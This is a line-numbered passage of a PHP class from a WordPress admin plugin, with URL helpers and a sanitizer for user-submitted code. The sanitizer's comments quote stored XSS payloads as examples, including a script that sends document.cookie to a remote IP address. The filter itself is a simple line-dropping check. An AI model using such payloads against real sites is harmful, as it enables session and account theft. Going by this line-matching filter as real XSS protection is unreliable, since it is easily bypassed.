751 /**
752 * Get an image URL from an ASE setting field, which could be an internal relative URL or an external URL
753 *
754 * @since 7.2.1
755 */
756 public function get_image_url( $ase_settings_field_name ) {
757 $options = get_option( ASENHA_SLUG_U, array() );
758 if ( isset( $options[$ase_settings_field_name] ) ) {
759 if ( false === strpos( $options[$ase_settings_field_name], 'http' ) && false !== strpos( $options[$ase_settings_field_name], '/uploads/' ) ) {
760 $logo_image = content_url() . $options[$ase_settings_field_name];
761 } else {
762 // $maybe_valid_url = filter_var( $options['admin_logo_image'], FILTER_SANITIZE_URL );
763 $maybe_valid_url = sanitize_url( $options[$ase_settings_field_name], array('http', 'https') );
764 if ( false !== filter_var( $maybe_valid_url, FILTER_VALIDATE_URL ) ) {
765 $logo_image = $maybe_valid_url;
766 } else {
767 $logo_image = '';
768 }
769 }
770 } else {
771 $logo_image = '';
772 }
773 return $logo_image;
774 }
775
776 /**
777 * Get current URL, without query parameters and without trailing slash
778 * e.g. https://www.site.com/some-page
779 *
780 * @return string
781 */
782 public function get_current_url() {
783 $output = '';
784 $url = (( is_ssl() ? 'https://' : 'http://' )) . sanitize_text_field( $_SERVER['HTTP_HOST'] ) . sanitize_text_field( $_SERVER['REQUEST_URI'] );
785 $url_parts = explode( '?', $url, 2 );
786 // limit to max of 2 elements with last element containing the rest of the string
787 if ( isset( $url_parts[0] ) ) {
788 $output = trim( $url_parts[0], '/' );
789 }
790 return ( $output ? urldecode( $output ) : '/' );
791 }
792
793 /**
794 * Get full URL, with query parameters
795 * e.g. https://www.site.com/some-page?param=value
796 *
797 * @link https://stackoverflow.com/a/6768831
798 * @since 7.8.18
799 */
800 public function get_full_url() {
801 $full_url = (( empty( $_SERVER['HTTPS'] ) ? 'http' : 'https' )) . "://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";
802 return $full_url;
803 }
804
805 /**
806 * Get array of elements with value of true
807 *
808 * @since 7.6.10
809 */
810 public function get_array_of_keys_with_true_value( $array_with_true_false_values ) {
811 $array_of_keys_with_true_value = array();
812 if ( is_array( $array_with_true_false_values ) && count( $array_with_true_false_values ) > 0 ) {
813 foreach ( $array_with_true_false_values as $key => $value ) {
814 if ( $value ) {
815 $array_of_keys_with_true_value[] = $key;
816 }
817 }
818 return $array_of_keys_with_true_value;
819 } else {
820 return array();
821 // default, empty array
822 }
823 }
824
825 /**
826 * Sanitize user-submitted code from potential security vulnerabilities
827 *
828 * @since 7.8.7
829 */
830 public function sanitize_html_js_css_code( $code ) {
831 $code_lines = explode( PHP_EOL, $code );
832 $sanitized_code_lines = array();
833 foreach ( $code_lines as $code_line ) {
834 if ( false !== strpos( $code_line, 'src=' ) && false !== strpos( $code_line, 'document.cookie' ) ) {
835 // Do nothing. Do not include the code line in the sanitized code.
836 // Example of malicious code:
837 // 1. Stored XSS vulnerability: <script>new Image().src='http://10.5.7.89:8001/index.php?c='+document.cookie</script>
838 // This line of code will send cookies from users browser to a remote server for exploitation
839 } else {
840 if ( false !== strpos( $code_line, '<img' ) && false !== strpos( $code_line, 'src=' ) && false !== strpos( $code_line, 'onerror' ) ) {
841 // Do nothing. Do not include the code line in the sanitized code.
842 // Example of malicious code:
843 // 1. Stored XSS vulnerability: <img src=x onerror=alert(1)>
844 // This may entail account takeover backdoor
845 } else {
846 $sanitized_code_lines[] = $code_line;
847 }
848 }
849 }
850 $sanitized_code = implode( PHP_EOL, $sanitized_code_lines );
851 return $sanitized_code;
852 }
853
854 /**
855 * Part of Disable Embeds module
856 * Remove all rewrite rules related to embeds.
857 * During deactivation / activation.
858 *
859 * @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L86
860 * @since 8.0.0
861 *
862 * @param array $rules WordPress rewrite rules.
863 * @return array Rewrite rules without embeds rules.
864 */
865 public function disable_embeds_rewrites( $rules ) {
866 foreach ( $rules as $rule => $rewrite ) {
867 if ( false !== strpos( $rewrite, 'embed=true' ) ) {
868 unset($rules[$rule]);
869 }
870 }
871 return $rules;
872 }
873
874 /**
875 * Get an indexed array of public post type slug => label pairs
876 *
877 * @since 8.0.1
878 */
879 public function get_public_post_type_slugs() {
880 $asenha_public_post_types = array();
881 $public_post_type_names = get_post_types( array(
882 'public' => true,
883 ), 'names' );
884 foreach ( $public_post_type_names as $post_type_name ) {
885 $post_type_object = get_post_type_object( $post_type_name );
886 $asenha_public_post_types[$post_type_name] = $post_type_object->label;
887 }
888 asort( $asenha_public_post_types );
889 // sort by value, ascending
890 return $asenha_public_post_types;
891 }
892
893 }
894